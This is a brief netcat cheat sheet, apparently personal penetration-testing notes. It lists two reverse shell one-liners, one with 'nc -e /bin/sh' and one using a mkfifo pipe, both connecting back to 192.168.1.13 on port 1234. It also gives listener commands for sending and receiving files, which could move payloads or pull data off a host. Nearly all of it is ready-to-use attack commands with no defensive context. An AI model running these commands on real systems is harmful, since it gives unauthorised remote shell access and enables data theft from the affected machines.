Link
  1. Netcat Shells
    1. Sending & Receiving files via netcat
      1. Method #1
      2. Method #2

Netcat Shells

  • Assuming that the -e option is present in netcat, use the following:
    nc -e /bin/sh 192.168.1.13 1234   
    
  • If nc -e is not available, it is still to get a reverse shell with the following:
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/usr/local/bin/nc 192.168.1.13 1234 >/tmp/f
    

Sending & Receiving files via netcat

Method #1

# setup a listener hosting the file: 
cat file.php | nc -q 0 -lvp 1234 # or
nc -q 0 -lvp 1234 < file.php

# download the file from the listener:
nc $IP $PORT > file.php

Method #2

# this is the reverse of above..
# setup a listener waiting for the file:
nc -lvp 1234 > file.php

# then, send the file to the listener:
nc 192.168.1.14 1234 < file.php